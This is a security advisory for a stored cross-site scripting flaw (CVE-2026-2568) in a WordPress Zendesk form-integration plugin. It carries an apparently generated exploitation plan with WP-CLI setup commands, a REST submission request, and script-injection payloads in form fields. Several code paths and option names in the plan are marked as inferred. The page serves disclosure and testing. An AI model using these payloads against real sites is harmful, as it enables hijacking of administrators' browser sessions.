WP Zendesk for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms <= 1.1.5 - Unauthenticated Stored Cross-Site Scripting
Description
The WP Zendesk for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via form submission data in all versions up to, and including, 1.1.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
Source Code
WordPress.org SVNThis research plan focuses on **CVE-2026-2568**, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the **WP Zendesk for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms** plugin (slug: `cf7-zendesk`). ### 1. Vulnerability Summary The `cf7-zendesk` plugin integrates…
Show full research plan
This research plan focuses on CVE-2026-2568, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the WP Zendesk for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms plugin (slug: cf7-zendesk).
1. Vulnerability Summary
The cf7-zendesk plugin integrates various WordPress form builders with the Zendesk ticketing system. When a form is submitted (via CF7, WPForms, etc.), the plugin captures the submission data to sync it with Zendesk. The vulnerability exists because the plugin stores this submission data—including malicious scripts—and subsequently displays it in the WordPress administrative dashboard (likely in a log or history view) without proper sanitization on input or escaping on output. Since form submissions are typically unauthenticated, any visitor can inject a payload.
2. Attack Vector Analysis
- Vulnerable Endpoint: The submission endpoints of any of the supported form plugins (e.g., Contact Form 7's AJAX submission handler).
- Vulnerable Parameter: Any form field captured by the plugin (e.g.,
your-name,your-email,your-message). - Authentication Level: Unauthenticated (PR:N).
- Preconditions:
- The
cf7-zendeskplugin must be active. - At least one supported form (e.g., Contact Form 7) must be published on a page.
- The plugin must be configured to log or display submission attempts in the admin area.
- The
3. Code Flow (Inferred)
- Entry Point: A visitor submits a form (e.g., Contact Form 7 via
wp-json/contact-form-7/v1/contact-forms/{id}/feedback). - Hook Trigger: The plugin listens to a hook like
wpcf7_before_send_mailorwpcf7_mail_sent(for CF7) orwpforms_process_complete(for WPForms). - Data Capture: The plugin retrieves the raw
$_POSTdata. - Storage (Sink): The plugin stores the captured data in the database (likely using
update_option(),add_post_meta(), or a custom$wpdbtable) to maintain a log of synced tickets. - Rendering (Sink): An administrator navigates to the plugin's log page (e.g.,
wp-admin/admin.php?page=cf7-zendesk-logs). The plugin retrieves the stored data andechoes it into the HTML table without callingesc_html()orwp_kses().
4. Nonce Acquisition Strategy
While the submission of forms generally does not require a WordPress AJAX/REST nonce (as they are meant for public users), the form builder plugins themselves often use internal nonces or hidden fields to prevent spam.
Strategy for Contact Form 7:
- Identify Shortcode: The shortcode for CF7 is usually
[contact-form-7 id="123" title="Contact form 1"]. - Setup Page: Create a test page containing this shortcode using WP-CLI.
- Extract Form Data:
- Navigate to the page using
browser_navigate. - The form ID and internal CF7 unit tags are required for the request.
- If the form uses a nonce (CF7 sometimes uses
_wpcf7_nonce), extract it:browser_eval("document.querySelector('input[name=\"_wpcf7_nonce\"]').value")
- Navigate to the page using
5. Exploitation Strategy
We will use Contact Form 7 as the vehicle for the stored XSS.
Step 1: Discover Form Metadata
Identify an existing Contact Form 7 ID.wp post list --post_type=wpcf7_contact_form
Step 2: Send Malicious Submission
Submit a POST request to the CF7 REST API endpoint.
- URL:
/wp-json/contact-form-7/v1/contact-forms/{ID}/feedback - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Payload Parameters:
_wpcf7:{ID}_wpcf7_unit_tag:wpcf7-f{ID}-p1-o1your-name:<img src=x onerror=alert("XSS_NAME")>your-email:attacker@evil.comyour-message:<script>alert("XSS_MESSAGE")</script>
Step 3: Trigger Payload
Log in as an administrator and access the plugin's log view:GET /wp-admin/admin.php?page=cf7-zendesk-logs (exact slug to be verified via wp menu list)
6. Test Data Setup
- Install Plugins: Ensure
cf7-zendeskandcontact-form-7are installed and active. - Create Form: If no form exists:
wp post create --post_type=wpcf7_contact_form --post_title="Exploit Form" --post_status=publish - Create Landing Page:
wp post create --post_type=page --post_title="Contact Us" --post_content='[contact-form-7 id="{ID}"]' --post_status=publish - Configure Plugin: Ensure the plugin is set to log submissions. (Check for an option like
cf7_zendesk_enable_logsinwp_options).
7. Expected Results
- The CF7 submission returns a
200 OKwith a success message in JSON. - Upon the administrator viewing the logs, the browser executes
alert("XSS_NAME")oralert("XSS_MESSAGE"). - The raw HTML of the admin page shows the payload unescaped:
<td><img src=x onerror=...
8. Verification Steps
- Database Check: Check if the payload is stored in the database.
wp option get cf7_zendesk_history(inferred option name)wp db query "SELECT * FROM wp_options WHERE option_name LIKE '%cf7_zendesk%'" - DOM Verification: Use
browser_navigateto the admin log page and check for the presence of the alert or the injected tag.browser_eval("document.body.innerHTML.includes('onerror=alert')")
9. Alternative Approaches
- WPForms: If CF7 is not present, use WPForms. Submit to
/wp-admin/admin-ajax.php?action=wpforms_submitwith thewpforms[fields][0]parameter containing the payload. - Elementor Forms: Submit a POST request to a page containing an Elementor form with
action=elementor_pro_forms_send_form. - Zendesk API Mock: If the plugin fails to store logs because it can't connect to Zendesk, it might be necessary to provide a dummy Zendesk API Key/Subdomain in the settings to satisfy the plugin's logic before it reaches the logging sink.
Summary
The WP Zendesk for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting. This occurs because the plugin captures form submission data and stores it in the database without sufficient sanitization, then displays it in the administrative logs without proper output escaping.
Exploit Outline
1. Identify a page on the target site containing a form supported by the plugin (e.g., Contact Form 7). 2. Submit a POST request to the form submission endpoint (e.g., /wp-json/contact-form-7/v1/contact-forms/{id}/feedback). 3. In the form data, include a malicious payload like <img src=x onerror=alert(1)> in one of the input fields (e.g., 'your-name' or 'your-message'). 4. The plugin captures this submission and stores it to be viewed by an administrator. 5. The payload executes in the administrator's browser when they navigate to the plugin's log or history page (e.g., wp-admin/admin.php?page=cf7-zendesk-logs).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.